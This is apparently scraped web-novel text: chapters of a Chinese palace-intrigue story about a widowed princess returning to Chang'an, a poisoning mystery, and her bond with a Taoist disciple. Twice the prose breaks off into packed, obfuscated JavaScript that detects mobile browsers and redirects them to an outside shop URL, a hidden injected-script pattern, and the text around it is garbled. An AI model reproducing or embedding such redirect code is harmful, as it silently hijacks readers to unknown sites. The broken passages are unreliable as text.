沈琼华没有正面回答,只是说:“当年阿耶去世,我要替他守三年孝丧,他也同意了。” 所以礼尚往来,她自然也会为自己的夫君守丧。 沈怀瑾点点头,能让沈琼华在异国他乡守丧,看来至少能说明这个驸马还有一定的道德,并非像他们那个部族其他人那样野蛮。 棋局上的战况逐渐焦灼,两人的动作越来越慢,下子的间隔也越来越长,殿内一下子静谧下来。 沈怀瑾摩挲着着手心里的黑子,一边思衬一边说:“驸马身故的消息传入长安时,母后好几日没能睡上一个好觉,还好和突厥的交涉还算顺利,让长姐你回来了。” 沈琼华听出他意有所指,是啊,若是按照突厥内部的规矩,她会在丈夫去世后嫁给自己的儿子。 但他们两个没有儿子,所以她应该会嫁给阿史那·阙特勤的兄长——那个生性暴戾的阿史那·咄曼,同时也是新任的突厥可汗。 想起这件事,沈琼华心中止不住地泛起冷意,嘴角的笑意也变得冰冷:“若是要我嫁他,我会在洞房花烛夜拉他一起死。” “搭嘎。”沈怀瑾手里的棋子掉在了棋盘上,掺在一黑一白两枚棋子间。 他眉间微蹙,望向沈琼华的目光中多了几分复杂。 沈琼华低着头,落下最后一字,唇边浮现出若有似无的笑:“不过是玩笑话罢了,若我带着他一起死,那突厥与大周必会开战,我不会做这样没有远见的事。” 她说得松快,但若是真到了那一步,沈怀瑾总觉得她是当真会自裁,也不愿遭受非人的折磨。 他静静地注视着她,旋即对上一双没有半分笑意的眼:“陛下,您已经输了。” 沈怀瑾愣了愣,旋即扫过面前的棋盘,黑子的生路已绝,短短几步,白子杀招极猛,带着一种不顾后果的狠劲,极有沈琼华的风格。 他丢下棋子,顿感无趣,苦笑出声:“你们两个啊……这手棋艺也是和国师学的吧,虽然风格不一样,但都喜欢从棋局最关键的一角下手。” 提起那个人,沈琼华的眼眸暗了暗,抿唇不语。 看着沈怀瑾也放弃再下一句,沈琼华趁势而上,管他要赌注。 “嗯?大娘你想要什么,尽可与我提,只要我能满足就没什么不可以的。” 他眼眸满是诧异,就凭两人的关系,有什么是沈琼华不能直接开口的? 沈琼华闻言,眼眸最上方的那一层笑意彻底消散,正色着站在了这个已经是皇帝的男人面前,冷声道: “我想要知道,当年给文慧太子下毒之人的姓名。” 4. 花朝 “……” 沈怀瑾眸色一冷,定定地凝视着面前的人。 女人的眼眸中尽是毫不退却的执着,这件事不知在她心中翻涌了多少年。 多少午夜梦回醒来,她看着自己满手满身的乌血,天边的雷鸣宛若铁钉般猛地扎进沈琼华的神经,记忆化为千万片交叠在一起,不断闪烁、消失,手边的酒杯内装着的是黑乎乎的臭水,躺在她膝上的——是她亲兄长七窍流血、死不瞑目的头! 这让沈琼华可曾安稳度过任何一个雨夜——而这样可怖的场景,竟然在她面前毫无预兆地上演了第二次!这叫她如何还能忍?! 可就是这样的一件事,再次提及时,沈怀瑾却不解地望向她,问:“这件事不是早些年就有结果了吗?” “刺客已逃离皇宫,我们无法抓到他,阿耶当年派十名禁军在外秘密搜寻了三年,最后也是不了了之,正因如此,这个问题吾也无法回答你。” 沈琼华眼底的情绪变了又变,这件事确实是前几年便写在了大周送来的家书中,可是现在,同样的案例再次发生在了她身边,那沈琼华必定要抓住这个机会,查清这件事的原委,或许也能将当年的真凶抓出来。 如今提起这事,不过是希望从沈怀瑾手中拿到些关键线索,只是看他这番说辞,恐怕他知道的也并不比沈琼华多。 听完沈怀瑾的话,沈琼华也垂下眼,温声答道:“既如此,那妾也不便多问,便当妾从未提起这件事吧。” 说完,她行了个礼,转身便想走——“大娘。” 沈怀瑾隔着袖子拉住她的小臂,眉心微微皱起,流出一丝认真: “大娘,你离家十年,如今好不容易回来了,身为皇帝,吾希望你平安,身为幼弟,我却也希望你愉悦。” 掌心传来一抹温暖的体温,沈琼华注视着他,眼神淡淡地扫过他皱起的眉头。 “所以拜托你,不要去想那些可能会给大娘带来痛苦的事,去让自己高兴起来,回到当年那个冠绝长安的承徽公主,无论大娘是想再嫁,还是就这样荣华富贵一生,吾都是支持你的。” 这句话……实在不是一个皇帝应该说出来的,但听了这些,也打消了沈琼华内心最后一抹戒备。 她抬起眼,眉间软和下来,眸中盛满了溢出来的柔情。 “四郎,你我皆不是当年的自己了。” 沈琼华抬手,指尖轻轻地从沈怀瑾的眉间划过,揉开那一抹皱起的眉头。 “我不是那个冠绝长安的承徽公主,你也不是那个遇事不决的四皇子,但这都不是我们的错。” 声音极轻,轻得像是一阵年少时拂过脸颊的微风。 “但即使我们都变了那么多,有一件事始终不会变,直到我们故去为止,我们都是亲人。” 沈琼华自进入长安城的那一刻起,她心中始终抱有一团戒备。 她担忧,当自己最小的弟弟坐上那个位置,他是否还如当年那般的温和善良,还是说他已经成长为一个合格的帝王,可以冷酷地处理任何一个亲人,即使是血脉相连之人都不会动一丝恻隐之心 即使有太后在,沈琼华依然担心自己来日的处境,还有盼儿的未来,为了防止任何不幸落到沈盼头上,她不得不开始“算计”沈怀瑾。 那三罪,说是绝无私心当然是假的,沈琼华承认,当沈怀瑾亲口下旨,将会以郡主的待遇善待沈盼时,她心底松了口气。 到如今,她也已经彻底明白了,面前这个弟弟变了、也没变。 他不是一个“完美”的皇帝,而她竟然因此感到了一丝庆幸。 沈怀瑾听着她轻柔却坚定的话语,心中也生出了一丝久违的眷恋:“能成为大娘的依靠,是我幼时想都不敢想的事。” “傻弟弟。”听着他的妄语,沈琼华露出一丝笑:“你已经是了,自豪点。” 两人目光相接,会心一笑,一起赶赴御花园的家宴。 …… 时间飞逝,转眼已至二月十五,春日百花盛开,这一日正是花朝节,民间游春踏青盛行,少女们会在这一日拜花神、做花糕和放花灯。 这日也是沈琼华回长安的第九日,因着她一回来便因舟车劳顿病倒了,太后娘娘看她一直闷在自己宫中兴致不高,觉得必定是乍然回宫,身上关于突厥的尘缘为了,便说什么都要带着她去太虚观祈福。 沈琼华本欲拒绝,身体一松散下来便没了精气神,可是太后的好意说什么都不能推辞,只好答应下来。 为了这回长安后两人的第一次出宫,浮岚和流玉都是一大早便起来,开始给沈盼梳妆打扮。 沈盼小小一个身体被两人摆弄来摆弄去,又是穿衣又是梳头,想要将花冠戴在她小小的脑袋上还是有不小的难度。 “小郡主……” 浮岚看着脑袋不断点地的沈盼,皱着脸差点就要哭出来:“求求您醒一醒吧,这已经是第三次掉下来了。” 沈盼本就是清晨就被她们从沈琼华的床榻上拉了起来,现在上下眼皮都在不断打架,坐在巴亚尔的膝盖上迷迷糊糊地说:“为、为何要如此早,娘亲不是说这里不用早起的吗?” 这是也怪不得她,沈盼不是男儿,在突厥那边本就不必早起磨练武艺,可回了大周,哪里有让你一下就睡到日上三竿的道理,为此沈琼华不得不撒点小谎,左右用点好吃的点心便糊弄过去了。 “我、我不想弄了,巴亚尔、我想歇息。” 她搂住巴亚尔的脖颈,下一秒,浮岚再次伸向沈盼头发的手便被巴亚尔强硬地制住,少女的眼神中带着一种极致的澄澈,开口:“盼儿、不要。” 巴亚尔不擅说中原的话语,虽说可以听懂,但能说出来的词语也就那么几个。 “巴亚尔,你不能这么惯着郡主。”浮岚郑重道:“今儿可是要和太后娘娘一起去太虚观祈福,顺便在那太虚山上游玩踏青,这可是郡主的第一个花朝节,马虎不得。” 任由她叽里咕噜地说了一长串,巴亚尔始终是一脸懵懂地看着她,手劲儿一点没松,看样子那番话她也是一个字都没听进去。 床榻边,赤红的床帐被两侧的宫女拉开,沈琼华穿着白色的里衣,款步走到镜台边坐下。 “巴亚尔。” 她拿着一把金丝楠木梳,细细地梳理自己的发尾,刚睡醒的嗓音有一丝柔软:“为什么不出去吃点早膳呢,把盼儿放下吧。” 沈琼华话音刚落,浮岚便见巴亚尔重重地点了点头,“嗯。” 旋即便松手,将沈盼放在软榻上乖乖离开了。 看着巴亚尔这番转变,浮岚的惊讶地张大嘴,瞪圆了眼睛看向流玉。 流玉笑着将沈盼扶起来,重新为她摆正花冠:“巴亚尔就是这样,从来只听殿下的话,平生最爱就是吃了,你多和她相处便习惯了。” “这我恐怕很难适应……”浮岚在皇宫长大,哪里见过脾气这么古怪的人。 说归说,一个时辰后,梳妆完毕的沈琼华还是牵着女儿的手,和太后一起坐上了前往京郊的马车。 “盼儿。” 太后亲昵地抱着沈盼,只见她一身淡粉襦裙,头上的双环髻簪上了一个小小的银丝攒珠花冠,摆脱了孝服的她更显玲珑可爱,如一朵娇嫩的花骨朵般惹人怜爱,看得太后心情舒畅。 “看看这小脸,长得真像你母亲小时候。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585219|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太后的嘴角止不住地上扬,望向沈盼的眼神满是宠溺。 “果然脱了那孝衣好好打扮,和你一样是个天生的美人胚子。” 坐在车厢右侧的沈琼华闻言不置可否,她今日也脱了孝,一袭石榴红的气胸襦裙,将她整个人都身形从视觉上拉长,外头披着一件透月白的纱衣,薄纱下红裙若隐若现,更显一种朦胧美。 她和太后两人都未戴正式的花冠——这种出行犯不上正装以待。 皆是梳了个云髻,簪上一朵硕大娇艳的牡丹,再以金簪点缀,蝴蝶步摇在脸侧一闪一闪,摇曳生姿。 车驾在山路上行走得极为缓慢,外头的景色从不断晃动的车帘中隐隐约约地透出来,吸引了沈盼的注意。 “阿帕、阿帕。”沈盼朝着外面伸出小手,从未见过这番景色的她瞬间点了心里的好奇。 “您看,那是什么?” “盼儿。” 沈琼华伸手给她理了理裙摆,低声道:“不是说了吗,你要叫曾祖母。” “不,这有什么?”太后一脸的慈爱,面对沈琼华的纠正十分不以为然,溺爱地逗逗盼儿: “盼儿喜欢怎么叫就怎么叫,看到她,总让母亲看到你幼时的模样,你还记得吗?当年你这么大的时候,母亲也带你来过这太虚观呢。” 沈琼华闻言,勾起唇角笑了笑,虽说是笑了,但那笑意却不达眼底。 “那么远的事,儿臣早就不记得了。” 而此时,太虚观内。 太虚观坐落于长安正南约四十里的太虚山内,于承熙六年,受当时的周武宗的命令建立。 道观建成之后,周武宗亲请道玄真人出山,民间当时传言这是因着周武宗杀孽过重,为了延续大周的国运度化那些怨灵,才请了道玄真人坐于观内,被尊为国师。 想想建成到现在,这座道观已然屹立于此地将近八十年,成了远近闻名的道观,数不清的文人骚客、达官显贵都在这里往来,名气显赫。 道观坐落在山腰处,一片青瓦白墙,与连绵不绝的碧色丛林纵横交错,宏伟的建筑群恍若山中自己长出的居所,整个浑然一体。 头戴混元巾,一身简单青灰道袍的年轻弟子,脚步轻快地朝着后山走去,来到一处朴素简单的院落,这院子规模极小,屋前屋后栽满了各种各样的奇植,绽开花蕊奇怪的花,看起来像是个农户的小屋。 他推开那道木门,张口便是:“师傅。” 长珏坐在院里,脱下累赘的外袍,只穿着个淡青色的长袍,挽起袖子,整个人聚精会神地拿着一把刻刀,刻着一个小小的木雕,专注地雕刻一个点。 听到弟子的话,长珏眉眼未变,抿着唇接着忙手上的事。 弟子微微躬身,禀报说:“太后一行人,已经走上山阶了,我们已经派了弟子前去迎接,师傅可要亲至?” 作为新任国师的大弟子,陆去燕原以为自己等来的,会是师傅一如既往的回答:“不必,你代为师去便是”,毕竟,平时就算是陛下亲至祈福,师傅也不一定会前去迎接,更别提是太后和长公主了。 但此次,长珏的沉默却变得尤为长,好似真的在考虑自己是否要去,而在陆去燕看来,这几乎就代表师傅会去了,不然何必犹豫那么久。 出乎意料的,长珏刻下最后一刀,将木偶拿在手上细细打量:“不必,你代为师去吧。” 轻飘飘的话语落下,他起身,宽广的袖摆似一片白云般随着他的动作摆动,只听“哐当”一声,那木雕给他掷入烧水的炭炉内,火星爆开,微微燎到了他的袍角,旋即又回归寂寥。 长珏步伐稳健,转身走进了小屋内。 5. 往事 这一日,是难得的花朝节,但却也是沈琼华接受仪式的一天。 按照惯例,公主还朝需净身斋戒,举行盛大的斋醮仪式,只是这一回在沈琼华的示意下,皇室并没有选择大操大办。 今日太虚观的正殿特地被空了出来,一个时辰内专供太后与长公主举行仪式,其余人皆只能前往偏殿祭拜。 进入正殿,光线骤然暗下来。 殿内铺着磨得发亮的青砖,太乙救苦天尊端正地坐在正中,手持净水盂,双目低垂,眼珠黑得发亮。 沈琼华与太后同跪在三清前的蒲团上,左手覆在右手上,跪拜磕头三下。 女冠手持一条柳枝,蘸取些许清水,轻抚过沈琼华的肩头,低声念一句: “如此,不再去也。” 小道士抬来火盆,里头的火苗烧的正旺,沈琼华从袖口拿出一朵被她揉皱了的白色珠花,她将珠花抛入火中,赤红的烈焰顷刻间将那小小的花朵焚烧殆尽,只留下一捧灰。 这捧灰那么轻,风一吹就散了,可又那么重,沉甸甸地压在她心间。 “既如此,我与你再不相欠。” 仪式结束,太后与沈琼华执手迈出正殿,外面一群人已经恭候多时,其中不乏想要借机在太后和长公主混个面熟的官宦人家,却都被身披铁甲的禁军死死挡在了外面。 沈琼华方一出正殿,就看见了流玉浮岚那惊慌失措的脸,心中忽然起了一分不好的预感。 果然,流玉皱着眉递来个眼神,沈琼华扫了一眼身边的太后,主动说道:“母亲,仪式繁杂,您想是累着了,还请让碧云嬷嬷陪您去云房稍事歇息,孩儿即刻就来。” 太后没有拒绝,只是看了一眼外面的那些人,以为女儿还有些事想办,便点了点头,拍拍她的手:“也罢,你便去吧,记得快些回来。” “孩儿遵命。” 看着太后的身影逐渐走远,沈琼华抬手,示意流玉过来,两个宫女穿过禁军的阻拦,来到她身边。 “发生何事?” 听到这话,流玉和浮岚两人对视一眼,欲言又止,最后还是流玉开口说:“是小郡主,她、她不见了!” 沈琼华面色一滞,定定地看着两人,抬手示意她们跟上,三人的身影消失在正殿前,直到走进一个僻静的角落,流云才附在她耳边小声说: “小郡主早上太过疲倦,下了车就睡了过去,奴婢们按照殿下的吩咐带郡主去云房休息。” “后来小郡主醒过一回,说想用些膳食,奴婢便与浮岚去找伙房,想给郡主做些她喜爱的点心,待奴婢们回到云房时,小郡主却不见了!” 说着,流玉近乎快要哭出来,泪水在眼眶里打转。 沈琼华心中顿时涌现出了一万种可能,在那些负面猜想将她压垮之前,她凝住了心神:“先不要着急,今日我和母后在祈福,来此的人都知道禁军也在此,应该不可能遭贼子绑架。” 但她虽然嘴上这么说,事关女儿,沈琼华的呼吸也有些不顺,两个宫女紧紧地扶着她,害怕她有什么好歹。 沈琼华快速了解情况:“你们带着盼儿去了道观哪边的云房?东边还是西边?” 前来太虚观祈福的香客数不胜数,而观内自然也是设了不少云房,一开始只有东边的院落,后面逐步扩大规模,扩到了西边靠近后山的地方,太后去的就是东边。 “是、是西边的云房,小郡主喜欢那附近的花圃,看到的时候很高兴。” “西边……”沈琼华忽然想起了些什么,心情忽然镇定了些,低声说:“后山的路只有一条,盼儿应当不会跑丢。” 她垂下眼帘,似乎是在思考着什么,浮岚边追问:“那是否需要奴婢们告知禁军,让他们去后山搜寻小郡主?” “巴亚尔呢?” “当小郡主一消失,她便出发去寻了。” 沈琼华知道绝不能叫禁军,今日的花朝节,外面游玩踏青、前来上香的平民百姓数不胜数,她方才回京,决不能惊扰民生。 想来想去,她很快下了决定:“我熟悉后山的路,我自己亲自去寻。” 流玉浮岚闻言登时慌了神:“什么?这怎么可以?!您可是长公主——” “无事。” 沈琼华的声音如击玉般泠泠,目光温柔地看着两人,说:“相信我,若超过一刻钟没有回来,你们便去寻禁军搜寻后山。” 两人微微愣住了,直到沈琼华转身离去,才后知后觉地回应:“是、是!” *** “咔!” 木块被劈成两半,一双极为好看的手将木块拨到一边,拿起另外一块放在木桩上,手里的斧子落下:“咔!” 长珏直起身子,他只身站在院落里,阳光倾洒在束起的乌发上,额角有细密的汗,顺着脸颊向下淌。 他也不擦,身上简单朴素的青色布衣被汗水贴在肌肤上,身形如青松般挺拔,衣袖下手臂的肌肉线条绷紧,面无表情地再次落下斧子。 “咔!” 飞出去的木块落到了草丛边,长珏缓步走过去,俯下身去捡,待他将木块握在手中准备起身时,身体却蓦地一僵。 他对上了一双眼,一双澄澈无比的圆眼,正含着好奇的目光看着他。 草丛里蹲着个小孩子,她锦衣华服,光看头上的花冠就知道她身份不凡,皮肤很白,像是个玉石雕琢的娃娃,蹲在草丛中时宛如一个天地自成的小仙子。 沈盼看着长珏,忽然从草丛里站了起来,指着他脆生生地喊道:“啊!是仙人!” 仙人? 长珏挑眉,面无表情地擦去额角的汗,转身离开,没有理会这个女孩。 沈盼看到对方没有回应自己,加上这人长得这么好看,心里更加坚定了自己的猜想,顿时好奇地跟在对方后面,像只小鸡崽一样不断地追问: “你是仙人吗?仙人喝露水吗?你会施法术吗?你见过我父亲吗?” “你父亲?” “咔!” 长珏单臂抡起斧头,又是一击,淡淡地扫了她一眼。 得到了回应,沈盼的情绪愈发高涨:“对呀对呀,娘亲说父亲是去见仙人了,那我现在也见了你,你能让我再见见父亲吗?” 长珏没有回答,接着忙手上的事,抬手举起斧头。 “咕噜咕噜咕噜——” 斧头悬在半空,沈盼站在长珏对面,肚子叫起来后瞬间红了脸,抬头一脸无辜地看着长珏,每次这样,流玉都会瞒着母亲给她拿点心吃。 长珏淡淡扫过她的脸,眼眸暗了暗,下一秒,他扔下斧头,转身进了小屋。 不消片刻,他拿着一个用手帕包好的东西走了出来,沈盼乖乖地坐上了他搬的小凳子,长珏将手上的东西递给她,沈盼打开一看,是两个馒头。 “这是什么呀?” 沈盼没见过这种吃的,但看着像点心一类的,也没多犹豫,拿起一个就往嘴里塞。 长珏坐在桌边,抬手拿起陈旧的茶壶,给她倒上一杯香茶,声音低沉:“是我的午膳。” “仙人也要吃饭吗?” 沈盼鼓着腮帮子问,这个点心虽然没有流玉做得那么好吃,但是也甜甜的、软软的,她觉得还可以。 长珏给自己也倒上了一杯,有一搭没一搭地开始和她交谈起来:“不知道,我不是仙人,但我师傅是,他就会吃饭。” “仙人的弟子也是仙人吧。” 沈盼眨眨眼,明亮的双眸中盛满好奇,长珏见状只是摇摇头,坦然的说:“不是,就像皇帝的孩子不一定是皇帝,仙人的弟子自然也不是仙人。” “为什么?仙人不是也有弟子会成仙吗?你不是吗?” 沈盼不明白,她对面前这个连姓氏名字都不知道人展现出了异常多的信任,或许是这个人在和她说话时,难得地没有将她当成一个小孩子,难道这也是仙人的标识? 长珏扯了扯嘴角,露出了一个冰冷的浅笑,眼底浮现一抹嘲讽:“我?我只是一众弟子中的一个,同时也是一个弃材。” “弃材?”沈盼心底的疑惑更重了,又是一个她没有听过的词,忽然,远处出现一个人影。 “盼儿!” 两人同时被这道声音吸引,抬眼看去,沈琼华推开院门,直直地朝着这边走来。 “娘亲!” 看到沈琼华,沈盼立刻便恢复了乖乖的模样,从板凳上跳下来,迈着小短腿朝着沈琼华奔了过去。 沈琼华蹲下身,将女儿搂在怀里,心中的巨石终于落了地,又将她推开,从上到下都检查了个遍,口中还说着:“你怎么能随意乱跑?你可知道流玉和浮岚有多担心你吗?可有受伤?” “娘 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看着几人慌忙前去寻找的身影,坐在大树上的沈琼华自树梢跃下,轻巧落地,火红的裙摆像一片艳丽的凤凰花花瓣,金丝嵌珍珠的绣鞋踩在泥地了,可她却丝毫不在意,兴致盎然地在道观内闲逛。 这是她第一次来这样的地方,只因年龄尚小,加上母后身体不好,沈琼华极少到这样的地方,和皇宫很不一样,这是令她感到愉悦的地方。 而作为皇帝的长女,她自小便有一个习惯。 那就是每当她去到一个地方,她便会取一样她最感兴趣的东西,带回去归属自己所有,就好似柔贵妃宫里的刺绣、容嫔宫中的牡丹还有林贵人宫中的陶瓷娃娃,诸如此类的东西数不胜数。 沈琼华感兴趣的不一定非得是贵重之物,正因如此,许多人被告知后都是选择欣然相赠,且不提她身份尊贵,带有一样小物件,便会用黄金与珠宝交换,宫中不乏有宫女引起了她的兴趣,得到了这辈子都挣不到的财富。 至于现在,她依然要遵循这个习惯。 小小的人儿背着手,悠闲地走在道观内,看姿态和神情,简直就像是在自己的花园散步一般自然,好似这里的一切都是她的,她像个主人似得四处打量,寻找着能让自己感兴趣的事物。 “嗯?” 忽地,她发现自己不知不觉间走上了一条小道,这条道不是由石子铺就,而是一条十分简单的土路,小路两边扎着篱笆,里面栽种着各色她从未见过的植物。 “这又是什么花?” 沈琼华看着那紫色的花蕊,花瓣不自然地下垂,看起来很像夕颜,但又不是,叶子的形状不一样。 她越走越远,花朵愈开愈盛,周围的房屋也越来越少。 沈琼华心知自己大概是迷了路,途中在花圃中看见了一个人影,抬脚走近,唤道:“喂!这位小道士。” 那人给花朵浇水的动作一顿,闻言转过身,这一眼,便让沈琼华顿在原地。 这人—— 男孩生得极白,身形清瘦,穿着再常见不过的道袍布衣,睫毛长而密,垂眼时显出几分脆弱感,安静地站在那里望着她,像一幅水墨名画。 沈琼华一时竟愣住了,春风拂来,她立在道路边,眉眼艳丽胜过万千朝霞,白皙的脸颊上泛着健康的红晕,眼眸似是淬了火的点点星辰,迸出明丽的光。 这个男孩长得和太子哥哥不一样。 这是沈琼华对长珏的第一印象,皇宫内从不缺姿色艳丽之人,即使是人人赞颂芝兰玉树、谦谦君子的沈秉钧,气质也与面前这人很不相同。 假若沈秉钧是一方价值连城的美玉,那面前这个人,便是那只生长在人迹罕至的山顶上的青松,周身气质如雪、如雨、如墨。 不远处,李嬷嬷的身影出现在小道上,迈着踉跄的步子跑到沈琼华的身前,气喘吁吁地开口:“殿、殿下,奴婢可算找到您了,快跟老奴——” “嬷嬷。” 长珏淡漠的眼神缓缓扫过那两人,看见那女孩忽然伸手,泛红娇嫩的指尖指着自己,如银铃般声音顺着卷起的春风钻入他的耳。 “我要他。” 年幼的公主勾起唇角,她的笑容如同春日里绽放的第一朵花,沐浴着阳光与生机,眼中含着明媚的光,让男孩如一潭池水古波不惊的双眸中,泛起了一丝丝涟漪。 6. 入宫 李嬷嬷苍老的脸上掩不住的忧虑,这件事难办她当然心知肚明。 可先皇后刚刚故去,她怎么都不敢忤逆沈琼华的意思,生怕让这小小的孩子再伤心,便只好将这件事回禀给了柔贵妃。 在回程的马车上,柔贵妃掀起车帘,望着那属于公主的马车,一双温柔的眉眼中满是忧虑,一身淡紫色的天水碧绸缎襦裙,衬得她如瑶池仙女,全然看不出她已育有两个孩子。 听了李嬷嬷报上来的话,柔贵妃放下帘子,对着她轻声道:“可,那人可是国师的弟子。” “正是。”李嬷嬷担心的当然也是这个,那是一个活生生的人,又不是一只狸奴,如何能说要便要,但是比起这个,她还是提到: “娘娘恕老奴多嘴,自先皇后去了,殿下一直郁郁寡欢,太子殿下学业繁重,几个弟妹年纪尚小,宫内确是没有能陪着殿下解忧的人了。” 柔贵妃亲自将李嬷嬷扶起,拉着她的手推心置腹道: “这我如何不知,可怜华儿才如此年幼,便没了亲娘,太子乃是一国储君,现在这个年纪倒是老成持重,只是这娇滴滴的女孩,如何能没人作伴呢?” “只是……”她顿了顿,心中依然觉得不妥:“那可是国师的弟子,又是个男子,虽说年纪尚小,但万一华儿大了呢?那时又该如何?” 李嬷嬷没有柔贵妃这样思虑甚多,在她心里,沈琼华的心情愉悦才是头等大事,况且这件事说难办到也没那么难,她笑起来,主动排解柔贵妃的思虑: “娘娘多虑了,依老奴看,那孩子不过是国师众多弟子中的一位,虽说聪明绝顶,但国师年至期颐有余,身子骨依旧健壮,未来必定还会再收弟子,殿下不过‘借’一人解闷,想来他老人家也不会放在心上。” “再者,依老奴多年伺候殿下的经验来看,殿下甚少会对一物维持兴趣,至多三年,殿下便会将那小道士还回去了,何至于如此担忧。” 柔贵妃听着她的话,眉眼中的忧虑也逐渐散去,心下也点点头:“说的也有道理。” 看着她已经动摇,李嬷嬷趁热打铁,连忙劝道:“先皇后崩逝后,殿下连发了三日的高烧,便是伤心过度导致,太医嘱咐,切不可再让公主再终日抱郁,有这道士在,想来殿下也会高兴的。” 别的暂且不提,就是这最后一句,戳中了柔贵妃的心,当下便拍了板:“嬷嬷说的是,无论如何都不可再让华儿终日深陷忧郁中了,待回宫,本宫便向陛下提起此事。” “娘娘圣明。” 果然,柔贵妃也确实按照她所说,当晚皇帝来到她的宫殿用膳时,她便在席间提起了太虚观内发生的事,既然事关沈琼华,皇帝一万个要求都是会许的,不过为了尊敬国师,他还是派人传了信,询问国师的意思。 国师道玄真人的反应同样出乎意料,皇帝给足了他尊敬,他也同样爽快,连夜便将人打包送进了皇宫。 小小的长珏穿着一身半旧的道袍,背着自己的包裹入了宫,站在巨大宫门前,像是即将被巨龙吞入的小虫。 沈琼华坐在高大的城墙上,伸出手指,比划着那纤瘦的身影,眼眸闪着笑意,笑道:“像只耗子大呢。” 她舔了舔唇角,就像一个吃到甜食的孩子那般餍足,再一次、和每次都一样,沈琼华又得到了她想要的。 浮岚和流玉在一边抓着她的裙子,生怕她掉了下去,闻言彼此对视一眼,看向下面,低声道:“没想到这小道士真的进宫了。” 浮岚眼睛亮起,目不转睛地盯着对方的脸,忍不住笑起来:“但殿下说得对,那小道士确是容貌不凡呢!” “我就说吧。”沈琼华得意地笑起来。 流玉见状直接伸手推了浮岚一下,皱着眉道:“殿下便也算了,你竟然也这样,你可知那人的姓名?” 浮岚诚实地摇摇头,沈琼华闻言也起了几分好奇,看着那道身影缓步走在宫道上,问:“哦?流玉你知道些什么吗?” 她开口询问,流玉才反应过来自己失态了,连忙说道:“殿下恕罪,奴婢不是有意探听这些的,只是宫内都在议论……” “流玉,我都说了,在我面前你用不着总是小心翼翼,有什么事便说吧。” 沈琼华肯定的目光,让流玉重新拾回了勇气,壮着胆子开口说:“奴、奴婢听闻,那小道士名讳长珏,无姓氏。” “无姓氏?!” 浮岚顿时吃了一惊,要知道,姓氏是一人的根本,官府登记姓名、来日科举入仕、成家立业甚至死后供奉都需姓氏,若无姓氏,就像一个人行走在世间却没有脸一样,只有奴隶、逃户和罪犯才没有姓氏。 流玉的眼神中闪烁着复杂的情绪,看着收起笑容的沈琼华接着说道:“那人虽说是国师的弟子,但身份皆是迷,也就成了道士、从此脱离世俗,才无人在意他的身份,如今一入宫,自然被翻了出来。” 沈琼华从那城墙上跃下,背对着二人站稳身形,流玉依然在她身后担忧地说:“殿下,您还是离那人远一些吧……” “这有什么的?”出乎意料的,沈琼华轻笑出声,眼睛弯成月牙,阳光落在她的脸上,照进眼底:“既然长珏入了宫,那便是我的人。” 旋即,她侧身看向两人,语气里带着一种不容置疑地笃定:“你们两个,现在就吩咐下去,若是今日后,再有什么人的闲言碎语传到我的、还有长珏的耳朵里,便别想再在这个宫里待下去了。” 两人连忙低头答是,跟在沈琼华的身后离开城楼。 长珏入宫后的第一件事,不是去看柔贵妃为他安排的住处,也不是去面前皇帝,而是来到一处颇为雅致的书院,名为芳芷阁。 芳芷阁设在皇宫的东南角,既不属于后宫,距离前朝也颇远,周围栽满了各样名贵树种,夏日乘凉最佳,是一处静谧秀丽的好去处。 太监躬身带着长珏进入书院,长珏目光淡淡地,一路上太监说什么都只是低声回应,双眸中没什么情绪。 “这书院可是陛下为了大公主下旨建立的,为的便是让公主平日里能有个和好友品茶论道的好地方,如今柔贵妃既然命你为大公主的伴读,那么自此之后,你便要熟悉这里的一草一木,要满足公主的一切要求,却又不可纵着大公主荒废学业。” 长珏继续淡淡地应下,看他那神情,完全不像是将话听进去了的样子。 太监不满地撇撇嘴,罢了,反正他也留不了多久,至多三月。 接着,太监将他带到了一处书房,推开门,细碎的光从镂花窗户中透进来,像极了一朵朵花瓣,照在深蓝藤蔓地毯上。 八角穹顶下,紫檀书案静静地摆在地毯的正中,案上的青玉笔洗内盛着干净的水,紫毫笔散落在案上杂乱的书稿中,风微微透过纱帘吹进室内,书稿翻动,毛笔极为缓慢地滚落到了地毯上,发出细密的声响。 长珏目光下移,在那一方紫檀书案边看到了一方小的、梨花木制的书案,上面的文房四宝一应俱全,看来是为他准备的。 太监转过身,不蓄有一丝胡须的脸正对着自己,眼眸闪过一抹暗色: “大公主现下正在贵妃宫中用午膳,她喜好午后来此读些书,你暂且在这恭候,宫女会给你拿些吃食来。” 说完,他也没等长珏那些可有可无的回应,径直转身离开了。 “切,一个臭道士,要不是大公主青睐,这辈子都摸不到皇宫的墙,还这么目中无人。” 长珏将太监的窃窃私语听了个真切,可他只是抬起眼,打量了一下这间书房,不管是那张大的还是小一些的书案,对他而言都极为不自在。 他找了个空地坐下,从包袱里取出个已经冷掉的馒头——那是师兄在他临行前给他准备的早膳,不过看方才那个太监的态度,感觉午膳也没戏了,索性现在就吃起来。 冷掉的馒头其实味道也不错,长珏在吃食上向来不拘,一口一口地吃着馒头,坐在墙角的他,和这个布置雅致的书房格格不入,简直就像是一个藏宝阁忽然放了一个吃饭的瓷碗,多少令他有些不适。 忽地,左侧穿来一个声音:“你用膳好斯文啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585221|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他转头,看见一个女孩靠着明窗,此刻正满脸含笑地打量着他。 